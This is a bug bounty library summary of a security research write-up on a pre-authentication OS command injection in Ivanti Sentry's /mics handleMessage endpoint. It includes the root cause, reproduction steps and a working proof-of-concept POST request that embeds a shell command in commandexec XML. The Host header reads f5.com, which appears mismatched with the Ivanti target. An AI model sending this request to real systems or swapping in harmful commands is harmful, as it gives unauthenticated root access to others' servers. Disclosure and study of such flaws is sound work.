# More Evidence That Words Don't Mean What We Thought They Meant (Ivanti Sentry Pre-Auth OS Command Injection CVE-2026-10520)

Pre-auth OS command injection in Ivanti Sentry's /mics handleMessage endpoint lets unauthenticated attackers run arbitrary commands as root via crafted commandexec XML.

- Payout: Research
- Severity: critical
- Program: Ivanti
- Write-up by: Sonny
- Disclosed: 2026-06-10
- CVE: CVE-2026-10520
- Write-up quality: 8/10
- Original: https://labs.watchtowr.com/more-evidence-that-words-dont-mean-what-we-thought-they-meant-ivanti-sentry-pre-auth-os-command-injection-cve-2026-10520/
- Library page: https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-more-evidence-that-words-dont-mean-what-we-thought-they-meant-ivanti-sentry-pre-auth-os-command-injec
- Tags: area:web domain:web impact:rce kind:research platform:research sev:critical tech:java technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Spring Boot REST endpoint /mics/api/v2/sentry/mics-config/handleMessage
**Root cause:** Controller passes user-supplied message string into ConfigServiceHandler, which tokenizes it into command/module/xpath and routes 'execute' to executeNativeCommand(), invoking native commands via reflection with attacker-controlled reqandres XML.
**Steps:**
1. Diff mics-core JAR between 10.5.1 and 10.5.2; only ConfigServiceController.handleMessage changed
2. Note patch hardcodes an 'execute system /configuration/system/commandexec' message with /bin/cat /sys/devices/virtual/dmi/id/product_name
3. Send `POST /mics/api/v2/sentry/mics-config/handleMessage` with body `message=execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>uname -a</reqandres></commandexec>`
4. Observe command output returned in JSON data field
**How found:** Prior familiarity with Ivanti Tomcat context paths (/mics) led to diffing mics.war; a single changed JAR and single changed method (handleMessage) plus a patch that hardcoded a commandexec XML payload revealed the injection point.
**Exploitation:** Unauthenticated HTTP POST to the handleMessage endpoint with a crafted commandexec XML body; the server executes the reqandres value as a native command and returns stdout in the response, yielding root-level RCE.
**Insight:** When a patch replaces user input with a hardcoded string containing an internal command/XML template, that template is a ready-made exploit skeleton—reuse it verbatim and swap the payload field.

## Proof of concept (copied exactly from the original report)

**Pre-auth OS command injection PoC request**

```
POST /mics/api/v2/sentry/mics-config/handleMessage HTTP/1.1
Host: f5.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 131

message=execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>uname -a</reqandres></commandexec>
```

